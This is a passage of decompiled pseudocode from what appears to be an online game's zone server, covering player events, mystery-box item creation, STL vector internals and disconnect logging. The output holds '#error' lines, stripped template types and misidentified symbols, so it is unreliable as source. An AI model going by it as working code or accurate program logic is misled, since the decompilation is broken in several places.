eax@2 int v4; // edx@3 ItemActionObserveManager *v5; // eax@3 char ActionRt; // [sp+4h] [bp-38h]@3 void *p; // [sp+8h] [bp-34h]@3 int v8; // [sp+Ch] [bp-30h]@3 int v9; // [sp+10h] [bp-2Ch]@3 int arg; // [sp+14h] [bp-28h]@2 int v11; // [sp+18h] [bp-24h]@2 int v12; // [sp+1Ch] [bp-20h]@2 int v13; // [sp+20h] [bp-1Ch]@2 int v14; // [sp+24h] [bp-18h]@2 int v15; // [sp+28h] [bp-14h]@2 int v16; // [sp+2Ch] [bp-10h]@2 int v17; // [sp+38h] [bp-4h]@3 v1 = (int)this; if ( (*(int (**)(void))(*(_DWORD *)this + 1484))() ) { v2 = 100 * (*(int (__thiscall **)(int))(*(_DWORD *)v1 + 1252))(v1); v3 = v2 / (*(int (__thiscall **)(int))(*(_DWORD *)v1 + 1260))(v1); v11 = 0; v12 = 10; v13 = 0; arg = 6; v14 = v1; v16 = v1; v15 = v1; if ( (signed int)v3 < 20 ) { p = 0; v8 = 0; v9 = 0; v4 = *(_DWORD *)v1; v17 = 0; v11 = 0; v5 = (ItemActionObserveManager *)(*(int (__thiscall **)(int))(v4 + 1484))(v1); ItemActionObserveManager::EventRun( v5, (ItemActionObserveManager::ActionResults *)&ActionRt, (ItemActionArgument *)&arg); if ( p ) operator delete(p); } } } //----- (00537B10) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SPChangeRoutineEvent(void *this) { int v1; // esi@1 int v2; // eax@2 ItemActionObserveManager *v3; // eax@2 char ActionRt; // [sp+4h] [bp-38h]@2 void *p; // [sp+8h] [bp-34h]@2 int v6; // [sp+Ch] [bp-30h]@2 int v7; // [sp+10h] [bp-2Ch]@2 int arg; // [sp+14h] [bp-28h]@2 int v9; // [sp+18h] [bp-24h]@2 int v10; // [sp+1Ch] [bp-20h]@2 int v11; // [sp+20h] [bp-1Ch]@2 int v12; // [sp+24h] [bp-18h]@2 int v13; // [sp+28h] [bp-14h]@2 int v14; // [sp+2Ch] [bp-10h]@2 int v15; // [sp+38h] [bp-4h]@2 v1 = (int)this; if ( (*(int (**)(void))(*(_DWORD *)this + 1484))() ) { (*(void (__thiscall **)(int))(*(_DWORD *)v1 + 1256))(v1); (*(void (__thiscall **)(int))(*(_DWORD *)v1 + 1264))(v1); v10 = 10; v11 = 0; arg = 6; v12 = v1; v14 = v1; v13 = v1; p = 0; v6 = 0; v7 = 0; v2 = *(_DWORD *)v1; v15 = 0; v9 = 2; v3 = (ItemActionObserveManager *)(*(int (__thiscall **)(int))(v2 + 1484))(v1); ItemActionObserveManager::EventRun( v3, (ItemActionObserveManager::ActionResults *)&ActionRt, (ItemActionArgument *)&arg); if ( p ) operator delete(p); } } //----- (00537BD0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_LevelChangeRoutineEvent(void *this) { int v1; // esi@1 signed int v2; // edi@2 int v3; // edx@3 ItemActionObserveManager *v4; // eax@3 ItemActionObserveManager *v5; // eax@14 char ActionRt; // [sp+4h] [bp-38h]@3 void *p; // [sp+8h] [bp-34h]@2 int v8; // [sp+Ch] [bp-30h]@2 int v9; // [sp+10h] [bp-2Ch]@2 int arg; // [sp+14h] [bp-28h]@2 int v11; // [sp+18h] [bp-24h]@2 int v12; // [sp+1Ch] [bp-20h]@2 int v13; // [sp+20h] [bp-1Ch]@2 int v14; // [sp+24h] [bp-18h]@2 int v15; // [sp+28h] [bp-14h]@2 int v16; // [sp+2Ch] [bp-10h]@2 int v17; // [sp+38h] [bp-4h]@2 v1 = (int)this; if ( (*(int (**)(void))(*(_DWORD *)this + 1484))() ) { v2 = (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v1 + 1236))(v1); v11 = 0; v12 = 10; v13 = 0; arg = 6; v14 = v1; v16 = v1; v15 = v1; p = 0; v8 = 0; v9 = 0; v17 = 0; if ( v2 <= 40 ) { v3 = *(_DWORD *)v1; v11 = 1; v4 = (ItemActionObserveManager *)(*(int (__thiscall **)(int))(v3 + 1484))(v1); ItemActionObserveManager::EventRun( v4, (ItemActionObserveManager::ActionResults *)&ActionRt, (ItemActionArgument *)&arg); } if ( v2 >= 20 ) { if ( v2 >= 50 ) { if ( v2 >= 80 ) { if ( v2 >= 100 ) { if ( v2 > 150 ) goto LABEL_15; v11 = 7; } else { v11 = 6; } } else { v11 = 5; } } else { v11 = 4; } } else { v11 = 3; } v5 = (ItemActionObserveManager *)(*(int (__thiscall **)(int))(*(_DWORD *)v1 + 1484))(v1); ItemActionObserveManager::EventRun( v5, (ItemActionObserveManager::ActionResults *)&ActionRt, (ItemActionArgument *)&arg); LABEL_15: if ( p ) operator delete(p); } } //----- (00537D00) -------------------------------------------------------- void __userpurge ShineObjectClass::ShinePlayer::sp_MysteryVaultMakeItem(int a1, int a2, int itm, unsigned int pError) { unsigned int v4; // ebp@1 int v5; // ebx@1 unsigned __int16 v6; // di@5 std::_Tree,std::allocator >,1> >::iterator j; // eax@7 int v8; // edi@8 char v9; // al@10 unsigned __int16 v10; // ax@12 void *v11; // edi@17 signed int v12; // eax@22 ChargedEffectContainer *v13; // eax@24 int v14; // eax@24 InventoryLocking::InventoryCellLock *v15; // eax@24 int v16; // edi@27 int v17; // eax@27 int v18; // ebp@27 int v19; // esi@29 int v20; // edi@33 int v21; // ST24_4@33 CServerInfo::MY_SERVER *v22; // eax@33 ItemAttributeClass *v23; // ebp@33 ItemDataBox::ItemDataBoxIndex *v24; // eax@33 ItemInfoServer *v25; // eax@34 char *v26; // eax@35 ItemRandomOption::RandomOptionDatum *v27; // edi@36 ItemOptionStorage *v28; // eax@36 ItemAttributeClassVtbl *v29; // edi@39 int v30; // eax@39 int v31; // ecx@39 int v32; // eax@39 __int16 v33; // dx@39 char *v34; // eax@39 void *v35; // eax@39 ItemInventoryCell *v36; // ST18_4@39 int v37; // edx@39 int v38; // eax@39 int v39; // eax@39 int v40; // esi@43 ZoneBaseSession *v41; // eax@45 int v42; // [sp+28h] [bp-100h]@5 unsigned int i; // [sp+38h] [bp-F0h]@1 unsigned int _Pos; // [sp+3Ch] [bp-ECh]@1 int v45; // [sp+40h] [bp-E8h]@18 std::_Tree,std::allocator >,1> >::iterator loweriter; // [sp+44h] [bp-E4h]@5 char *pAttrblock; // [sp+48h] [bp-E0h]@29 int v48; // [sp+4Ch] [bp-DCh]@27 std::_Tree,std::allocator >,1> >::iterator Upperiter; // [sp+50h] [bp-D8h]@5 int v50; // [sp+54h] [bp-D4h]@27 int vecMakeItem; // [sp+58h] [bp-D0h]@7 void *this; // [sp+5Ch] [bp-CCh]@7 int v53; // [sp+60h] [bp-C8h]@7 int v54; // [sp+64h] [bp-C4h]@7 ItemInventoryCell *cell; // [sp+68h] [bp-C0h]@14 int v56; // [sp+6Ch] [bp-BCh]@14 char uii; // [sp+70h] [bp-B8h]@24 int v58; // [sp+78h] [bp-B0h]@39 int MakeitemID; // [sp+7Ch] [bp-ACh]@33 ItemBoxIterEmpty ibie; // [sp+80h] [bp-A8h]@24 ItemBoxIterItemRegNo FindItem; // [sp+90h] [bp-98h]@27 int iti; // [sp+A8h] [bp-80h]@33 int v63; // [sp+ACh] [bp-7Ch]@39 __int16 v64; // [sp+B0h] [bp-78h]@33 char v65; // [sp+B4h] [bp-74h]@36 unsigned int v66; // [sp+118h] [bp-10h]@1 int v67; // [sp+124h] [bp-4h]@7 v4 = pError; v66 = (unsigned int)&i ^ __security_cookie; v5 = a1; _Pos = pError; if ( !pError ) goto LABEL_47; *(_WORD *)pError = 1792; if ( !itm ) { *(_WORD *)pError = 1794; goto LABEL_47; } v42 = a2; v6 = *(_WORD *)(itm + 8); MysteryVaultTable::Getloweriter(&loweriter, *(_WORD *)(itm + 8)); MysteryVaultTable::GetUpperiter(&Upperiter, v6); if ( loweriter == Upperiter ) { AssertClass::ac_AssertFail(&shineassert, "MysteryBoltTable::ItemBoxOpen Not Register ItemId :", v6); *(_WORD *)pError = 1828; goto LABEL_47; } this = 0; v53 = 0; v54 = 0; v67 = 0; std::vector>::reserve( (std::vector > *)&vecMakeItem, 0xAu); for ( j = loweriter; loweriter != Upperiter; j = loweriter ) { v8 = *(_DWORD *)(*(_DWORD *)&j + 16); if ( v8 ) { v9 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 1240))(v5); if ( MysteryVaultTable::IsCheckClassType(*(ChrClassType *)(v8 + 32), v9) && *(_WORD *)(v8 + 69) >= RandomBox::rb_1000(&rndbox) ) { v10 = ItemDataBox::idb_2itemid(&itemdatabox, (const char *)(v8 + 36)); if ( v10 == -1 ) { AssertClass::ac_AssertFail(&shineassert, " MysteryBoltTable::ItemBoxOpen :", (const char *)(v8 + 36)); } else { v56 = *(_BYTE *)(v8 + 68); LOWORD(cell) = v10; std::vector>::push_back( (std::vector > *)&vecMakeItem, (ShineObjectClass::ListUp *)&cell); } v4 = _Pos; } } else { AssertClass::ac_AssertFail(&shineassert, "MysteryBoltTable::ItemBoxOpen NULL", 0); } std::_Tree_std::allocator>_0>>::const_iterator::_Inc((std::_Tree,std::allocator >,0> >::const_iterator *)&loweriter); } v11 = this; if ( !this || (v45 = (v53 - (signed int)this) >> 3) == 0 ) { *(_WORD *)v4 = 1828; if ( v11 ) operator delete(v11); goto LABEL_47; } v12 = ShineObjectClass::ShinePlayer::sp_GetEmptyItemInventoryCount(v5); if ( v12 < v45 ) { *(_WORD *)v4 = 1827; operator delete(v11); goto LABEL_47; } v13 = (ChargedEffectContainer *)(*(int (__thiscall **)(int))(*(_DWORD *)v5 + 1172))(v5); ItemBoxIterEmpty::ItemBoxIterEmpty(&ibie, (ItemBag *)(v5 + 35680), v13); v14 = *(_DWORD *)v5; LOBYTE(v67) = 1; v15 = (InventoryLocking::InventoryCellLock *)(*(int (__thiscall **)(int))(v14 + 2004))(v5); InventoryLocking::UnlockedInventoryIterator::UnlockedInventoryIterator( (InventoryLocking::UnlockedInventoryIterator *)&uii, 9, &ibie.baseclass_0, v15); LOBYTE(v67) = 2; if ( !InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)&uii) ) { *(_WORD *)v4 = 1827; LABEL_26: LOBYTE(v67) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&uii); LOBYTE(v67) = 0; ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)&ibie); std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator>::_Xran((std::vector > *)&vecMakeItem); v20 = *((_WORD *)this + 4 * i); MakeitemID = *((_WORD *)this + 4 * i); v21 = ZoneServer::zs_worlddata(&zoneserver)->nWorldNo; v22 = ZoneServer::zs_worlddata(&zoneserver); ItemTotalInformation::iti_mkregnum((ItemTotalInformation *)&iti, v20, 2, v22->nZoneNo, v21); v64 = v20; v23 = ItemAttributeClassContainer::operator__(&itmattcontainer, v20); ((void (__thiscall *)(ItemAttributeClass *, int, int *, MobTargetAggresive *, int))v23->vfptr->iac_itemcreate)( v23, v20, &iti, &stru_63450C.maa_TargetSelect.aggresive, v42); v24 = ItemDataBox::operator__(&itemdatabox, v20); if ( !v24 || (v25 = v24->dataserv) == 0 || (v26 = v25->RandomOptionDropGroup) == 0 ) { (*(void (__cdecl **)(_DWORD))(*(_DWORD *)vecMakeItem + 40))(*(_WORD *)(*(_DWORD *)&Upperiter + 8)); *(_WORD *)_Pos = 1793; AssertClass::ac_AssertFail( &shineassert, "ShinePlayer::sp_MysteryVaultMakeItem Not Make ItemID : ", (unsigned __int16)v20); LOBYTE(v67) = 2; ItemBoxIterator::_ItemBoxIterator(&FindItem); goto LABEL_26; } v27 = ItemRandomOption::RandomOptionTable::operator__(&itemrandomoptiontable, v26); v28 = v23->vfptr->iac_GetItemOptionStruct(v23, (SHINE_ITEM_STRUCT *)&v65); if ( v27 && v28 ) ItemRandomOption::RandomOptionTable::rot_FillOption(&itemrandomoptiontable, v28, v27); v29 = v23->vfptr; v42 = std::vector>::at( (std::vector > *)&this, _Pos)->nLot; ((void (__thiscall *)(ItemAttributeClass *, char *))v29->iac_SetLot)(v23, &v65); *(_DWORD *)(v19 - 12) = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 836))(v5); v30 = *(_DWORD *)(v5 + 98); *(_DWORD *)(v19 - 8) = *(_DWORD *)v30; *(_DWORD *)(v19 - 4) = *(_DWORD *)(v30 + 4); *(_DWORD *)v19 = *(_DWORD *)(v30 + 8); v31 = *(_DWORD *)(v5 + 78); *(_DWORD *)(v19 + 4) = *(_DWORD *)v31; v32 = *(_DWORD *)(v31 + 4); LOWORD(v31) = *(_WORD *)(v19 + 12); *(_DWORD *)(v19 + 8) = v32; *(_WORD *)(v19 + 12) = v31 & 0x3FF | 0x2400; *(_WORD *)(v19 + 12) ^= (InventoryLocking::UnlockedInventoryIterator::uii_Slot((InventoryLocking::UnlockedInventoryIterator *)&uii) ^ *(_WORD *)(v19 + 12)) & 0x3FF; v33 = MakeitemID; *(_DWORD *)(v19 + 14) = iti; v34 = pAttrblock; *(_DWORD *)(v19 + 18) = v63; *(_WORD *)(v19 + 22) = v33; *(_WORD *)(v19 + 24) = (_WORD)v34 - v48 - 2; v35 = v23->vfptr->iac_fill2buffer(v23, (SHINE_ITEM_STRUCT *)&v64, v34); v18 = v50; pAttrblock = (char *)v35; v36 = cell; v37 = *(_DWORD *)v5; cell = *(ItemInventoryCell **)v50; v38 = (*(int (__thiscall **)(int, ItemInventoryCell *, int *, int, int))(v37 + 2004))( v5, v36, &iti, v19 + 12, v19 + 12); LOWORD(v39) = AxialListNearGateFind::alngf_Gethandle(v38); (*(void (__thiscall **)(int, int))(v58 + 56))(v18, v39); InventoryLocking::UnlockedInventoryIterator::uii_Next((InventoryLocking::UnlockedInventoryIterator *)&uii); v16 = v48; ++i; v19 += 38; } InventoryLocking::InventoryCellLock::icl_IncIndex((InventoryLocking::InventoryCellLock *)v18); v40 = (int)&pAttrblock[-v16]; if ( ProtocolPacket::pp_SetPacketLen(&gpp, (int)&pAttrblock[-v16]) ) { v41 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v41); } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::sp_MysteryVaultMakeItem : Packet Too Long", v40); } LOBYTE(v67) = 2; ItemBoxIterator::_ItemBoxIterator(&FindItem); LOBYTE(v67) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&uii); LOBYTE(v67) = 0; ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)&ibie); operator delete(this); LABEL_47: __security_check_cookie((unsigned int)&i ^ v66); } // 537D00: could not find valid save-restore pair for edi //----- (00538360) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::vector_std::allocator>_std::allocator_std::allocator>>>::_Ufill(std::vector,std::allocator >,std::allocator,std::allocator > > > *this, std::basic_string,std::allocator > *_Ptr, unsigned int _Count, std::basic_string,std::allocator > *_Val) { std::_Uninit_fill_n_std::allocator>___unsigned_int_std::basic_string_std::allocator>_std::allocator_std::allocator>>>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (00538390) -------------------------------------------------------- void __thiscall std::vector_std::allocator>_std::allocator_std::allocator>>>::_Insert_n(std::vector,std::allocator >,std::allocator,std::allocator > > > *this, std::vector,std::allocator >,std::allocator,std::allocator > > >::iterator _Where, unsigned int _Count, std::basic_string,std::allocator > *_Val) { std::vector,std::allocator >,std::allocator,std::allocator > > > *v4; // esi@1 std::basic_string,std::allocator > *v5; // ebx@1 unsigned int v6; // ecx@2 signed int v7; // edx@3 int v8; // eax@6 int v9; // eax@11 int v10; // ecx@15 int v11; // eax@18 void *v12; // ebx@22 std::basic_string,std::allocator > *v13; // eax@22 std::basic_string,std::allocator > *v14; // ST20_4@22 int v15; // eax@22 unsigned int v16; // edi@24 std::basic_string,std::allocator > *v17; // eax@24 std::basic_string,std::allocator > *v18; // ecx@27 void *v19; // edx@27 signed int v20; // edx@27 unsigned int v21; // ST28_4@28 std::basic_string,std::allocator > *v22; // ST24_4@28 void *v23; // eax@28 char *v24; // edx@28 std::basic_string,std::allocator > *v25; // eax@29 std::basic_string,std::allocator > *v26; // ecx@29 void *v27; // edx@29 int v28; // [sp+0h] [bp-4Ch]@1 std::vector,std::allocator >,std::allocator,std::allocator > > > *cookie; // [sp+Ch] [bp-40h]@1 std::basic_string,std::allocator > *_Dest; // [sp+10h] [bp-3Ch]@22 std::basic_string,std::allocator > *_Ptr; // [sp+14h] [bp-38h]@22 void *_Newvec; // [sp+18h] [bp-34h]@22 char _Tmp; // [sp+1Ch] [bp-30h]@1 void *p; // [sp+20h] [bp-2Ch]@1 int v35; // [sp+30h] [bp-1Ch]@1 unsigned int v36; // [sp+34h] [bp-18h]@1 unsigned int v37; // [sp+38h] [bp-14h]@1 int *v38; // [sp+3Ch] [bp-10h]@1 int v39; // [sp+48h] [bp-4h]@1 int v40; // [sp+4Ch] [bp+0h]@1 v38 = &v28; v37 = (unsigned int)&v40 ^ __security_cookie; v4 = this; cookie = this; v36 = 15; v35 = 0; LOBYTE(p) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&_Tmp, _Val, 0, 0xFFFFFFFFu); v5 = v4->_Myfirst; v39 = 0; if ( v5 ) { v7 = (signed int)((char *)v4->_Myend + (unsigned int)(((unsigned __int64)(-1840700269i64 * (unsigned int)((char *)v4->_Myend - (char *)v5)) >> 32) - (unsigned int)v5)) >> 4; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } if ( _Count ) { if ( v5 ) v8 = v4->_Mylast - v4->_Myfirst; else v8 = 0; if ( (unsigned int)&wholesaver.ws_savestore[1713].esc_skill.buffer[-v8 + 18485] < _Count ) std::vector_std::allocator>_std::allocator_std::allocator>>>::_Xlen(v4); if ( v4->_Myfirst ) v9 = v4->_Mylast - v4->_Myfirst; else v9 = 0; if ( v6 >= _Count + v9 ) { v18 = v4->_Mylast; v19 = (char *)v4->_Mylast - *(_DWORD *)&_Where; _Newvec = v19; v20 = (signed int)((char *)v19 + ((unsigned __int64)(-1840700269i64 * (signed int)v19) >> 32)) >> 4; _Dest = v18; if ( v20 + ((unsigned int)v20 >> 31) >= _Count ) { _Newvec = &v18[-_Count]; v25 = std::_Uninit_copy_std::allocator>___std::basic_string_std::allocator>___std::allocator_std::allocator>>>( &v18[-_Count], v18, v18, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)((_BYTE)v18 - 28 * _Count)); v26 = _Dest; v27 = _Newvec; v4->_Mylast = v25; std::_Copy_backward_opt_std::allocator>___std::basic_string_std::allocator>__>( *(std::basic_string,std::allocator > **)&_Where, (std::basic_string,std::allocator > *)v27, v26, (std::_Nonscalar_ptr_iterator_tag)_Newvec); std::fill_std::allocator>___std::basic_string_std::allocator>>( *(std::basic_string,std::allocator > **)&_Where, (std::basic_string,std::allocator > *)(*(_DWORD *)&_Where + 28 * _Count), (std::basic_string,std::allocator > *)&_Tmp); } else { _Newvec = (void *)(28 * _Count); std::_Uninit_copy_std::allocator>___std::basic_string_std::allocator>___std::allocator_std::allocator>>>( *(std::basic_string,std::allocator > **)&_Where, v18, (std::basic_string,std::allocator > *)(*(_DWORD *)&_Where + 28 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)(28 * _Count)); v21 = _Count - (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 28; v22 = v4->_Mylast; LOBYTE(v39) = 3; std::vector_std::allocator>_std::allocator_std::allocator>>>::_Ufill( v4, v22, v21, (std::basic_string,std::allocator > *)&_Tmp); v23 = _Newvec; v24 = (char *)_Newvec + (unsigned int)v4->_Mylast; v4->_Mylast = (std::basic_string,std::allocator > *)v24; v39 = 0; std::fill_std::allocator>___std::basic_string_std::allocator>>( *(std::basic_string,std::allocator > **)&_Where, (std::basic_string,std::allocator > *)(v24 - v23), (std::basic_string,std::allocator > *)&_Tmp); } } else { if ( (unsigned int)&wholesaver.ws_savestore[1713].esc_skill.buffer[-(v6 >> 1) + 18485] >= v6 ) v10 = (v6 >> 1) + v6; else v10 = 0; if ( v4->_Myfirst ) v11 = v4->_Mylast - v4->_Myfirst; else v11 = 0; if ( v10 < _Count + v11 ) v10 = _Count + std::vector>::size(v4); _Dest = (std::basic_string,std::allocator > *)(28 * v10); v12 = operator new(28 * v10); v13 = v4->_Myfirst; _Newvec = v12; _Ptr = (std::basic_string,std::allocator > *)v12; LOBYTE(v39) = 1; _Ptr = std::_Uninit_copy_std::allocator>___std::basic_string_std::allocator>___std::allocator_std::allocator>>>( v13, *(std::basic_string,std::allocator > **)&_Where, (std::basic_string,std::allocator > *)v12, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)v12); std::_Uninit_fill_n_std::allocator>___unsigned_int_std::basic_string_std::allocator>_std::allocator_std::allocator>>>( _Ptr, _Count, (std::basic_string,std::allocator > *)&_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Newvec); v14 = v4->_Mylast; _Ptr += _Count; std::_Uninit_copy_std::allocator>___std::basic_string_std::allocator>___std::allocator_std::allocator>>>( *(std::basic_string,std::allocator > **)&_Where, v14, _Ptr, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Newvec); v15 = (int)v4->_Myfirst; if ( v15 ) v15 = (signed int)((char *)v4->_Mylast - v15) / 28; v16 = v15 + _Count; v17 = v4->_Myfirst; if ( v17 ) { std::_Destroy_range_std::allocator>_std::allocator_std::allocator>>>( v17, v4->_Mylast, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Newvec); operator delete(v4->_Myfirst); } v4->_Myend = (std::basic_string,std::allocator > *)((char *)_Dest + (_DWORD)v12); v4->_Mylast = (std::basic_string,std::allocator > *)((char *)v12 + 28 * v16); v4->_Myfirst = (std::basic_string,std::allocator > *)v12; } } if ( v36 >= 0x10 ) operator delete(p); } //----- (005386D0) -------------------------------------------------------- std::vector,std::allocator >,std::allocator,std::allocator > > >::iterator *__thiscall std::vector_std::allocator>_std::allocator_std::allocator>>>::insert(std::vector,std::allocator >,std::allocator,std::allocator > > > *this, std::vector,std::allocator >,std::allocator,std::allocator > > >::iterator *result, std::vector,std::allocator >,std::allocator,std::allocator > > >::iterator _Where, std::basic_string,std::allocator > *_Val) { std::vector,std::allocator >,std::allocator,std::allocator > > > *v4; // edi@1 std::basic_string,std::allocator > *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector,std::allocator >,std::allocator,std::allocator > > >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)(*(_DWORD *)&_Where - (_DWORD)v5 + ((unsigned __int64)(-1840700269i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32)) >> 4; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector_std::allocator>_std::allocator_std::allocator>>>::_Insert_n( this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (00538740) -------------------------------------------------------- void __thiscall std::vector_std::allocator>_std::allocator_std::allocator>>>::push_back(std::vector,std::allocator >,std::allocator,std::allocator > > > *this, std::basic_string,std::allocator > *_Val) { std::vector,std::allocator >,std::allocator,std::allocator > > > *v2; // edi@1 std::basic_string,std::allocator > *v3; // ebx@1 int v4; // esi@2 signed int v5; // edx@3 std::basic_string,std::allocator > *v6; // esi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((char *)this->_Mylast + (unsigned int)(((unsigned __int64)(-1840700269i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) - (unsigned int)v3)) >> 4; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < this->_Myend - v3 ) { v6 = this->_Mylast; std::_Uninit_fill_n_std::allocator>___unsigned_int_std::basic_string_std::allocator>_std::allocator_std::allocator>>>( this->_Mylast, 1u, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector_std::allocator>_std::allocator_std::allocator>>>::insert( this, (std::vector,std::allocator >,std::allocator,std::allocator > > >::iterator *)&_Val, (std::vector,std::allocator >,std::allocator,std::allocator > > >::iterator)this->_Mylast, _Val); } } //----- (005387D0) -------------------------------------------------------- #error "5387D0: undefined or illegal type '#734' (funcsize=299)" //----- (00538BB0) -------------------------------------------------------- char __thiscall FieldMap::fm_IsInFieldSize(int this, int xy) { JUMPOUT( *(_DWORD *)xy, *(_DWORD *)(this + 24), Concurrency::_Order_node_base::reserve_message); JUMPOUT( *(_DWORD *)(xy + 4), *(_DWORD *)(this + 28), Concurrency::_Order_node_base::reserve_message); return 1; } // 538BC8: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (00538BD0) -------------------------------------------------------- #error "538BD0: undefined or illegal type '#734' (funcsize=15)" //----- (00538C00) -------------------------------------------------------- void __thiscall CeaseFireSender::cfs_Initialize(CeaseFireSender *this) { this->cfs_Flag = 0; } //----- (00538C10) -------------------------------------------------------- void __thiscall CeaseFireSender::cfs_Send(CeaseFireSender *this) { this->cfs_Flag = 1; } //----- (00538C20) -------------------------------------------------------- #error "538C20: undefined or illegal type '#734' (funcsize=44)" //----- (00538CC0) -------------------------------------------------------- void __thiscall AxialListMagicFieldDamage::_AxialListMagicFieldDamage(AxialListMagicFieldDamage *this) { this->baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMagicFieldDamage::_vftable_; AxialListNearScanObjectType::_AxialListNearScanObjectType((AxialListNearScanObjectType *)this); } // 66F7E8: using guessed type int (__thiscall *AxialListMagicFieldDamage___vftable_)(AxialListNearScan *this, #593 *, int nRelocation_Y, int nRelocation_X); //----- (00538CD0) -------------------------------------------------------- void __thiscall AxialListMagicFieldHeal::_AxialListMagicFieldHeal(AxialListMagicFieldHeal *this) { this->baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMagicFieldHeal::_vftable_; AxialListNearScanObjectType::_AxialListNearScanObjectType((AxialListNearScanObjectType *)this); } // 66F7F0: using guessed type int (__stdcall *AxialListMagicFieldHeal___vftable_)(int, int, int distancesquar); //----- (00538CE0) -------------------------------------------------------- #error "538CE0: undefined or illegal type '#593' (funcsize=17)" //----- (00538D20) -------------------------------------------------------- void __thiscall AxialListRescueRequest::_AxialListRescueRequest(AxialListRescueRequest *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListRescueRequest::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)this); } // 66F7F8: using guessed type int (__stdcall *AxialListRescueRequest___vftable_)(int, int, int distancesquar); //----- (00538D30) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_GetTargetInfo(int this, int a2) { int v2; // esi@1 int result; // eax@1 v2 = this; result = (*(int (**)(void))(**(_DWORD **)(this + 8572) + 12))(); if ( result == a2 ) result = (*(int (__thiscall **)(int, int, signed int))(*(_DWORD *)v2 + 2568))(v2, a2, 1); return result; } //----- (00538D60) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_BanByServerDisconnect(int this, int lst, __int16 handle) { int v3; // esi@1 unsigned int v4; // eax@1 char *v5; // eax@1 char *v6; // ST04_4@1 DebugLogging *v7; // eax@1 DebugLogging *v8; // eax@1 v3 = this; v4 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v4; v5 = (char *)&namestring + 256 * v4; *(_DWORD *)v5 = *(_DWORD *)(this + 32175); *((_DWORD *)v5 + 1) = *(_DWORD *)(this + 32179); *((_DWORD *)v5 + 2) = *(_DWORD *)(this + 32183); v6 = v5; *((_DWORD *)v5 + 3) = *(_DWORD *)(this + 32187); v5[16] = 0; v7 = DebugLogging::operator<<(&MoreDisconnectLog, "Char so_ply_BanByServerDisconnect "); v8 = DebugLogging::operator<<(v7, v6); DebugLogging::operator<<(v8, &deb_LF); (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v3 + 1524))(v3, 0); return 1; } //----- (00538DE0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_ply_ReinforceRun(int this, int xy, __int16 com, int flag) { int v4; // esi@1 char *v5; // eax@1 DebugLogging *v6; // esi@2 _iobuf *v7; // eax@4 DebugLogging *v8; // esi@6 _iobuf *v9; // eax@8 DebugLogging *v10; // esi@10 _iobuf *v11; // eax@12 DebugLogging *v12; // esi@14 _iobuf *v13; // eax@16 DebugLogging *v14; // esi@18 _iobuf *v15; // eax@20 int v16; // eax@25 int v17; // [sp+Ch] [bp-4h]@1 v4 = this; v17 = this; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = com & 0x3FF | 0x2000; *(_DWORD *)(v5 + 2) = *(_DWORD *)xy; *(_DWORD *)(v5 + 6) = *(_DWORD *)(xy + 4); if ( (**(_DWORD **)(this + 78) - *(_DWORD *)xy) * (**(_DWORD **)(this + 78) - *(_DWORD *)xy) + (*(_DWORD *)(*(_DWORD *)(this + 78) + 4) - *(_DWORD *)(xy + 4)) * (*(_DWORD *)(*(_DWORD *)(this + 78) + 4) - *(_DWORD *)(xy + 4)) > 1000000 ) { v6 = DebugLogging::operator<<(&ReinforceMoveLog, (char 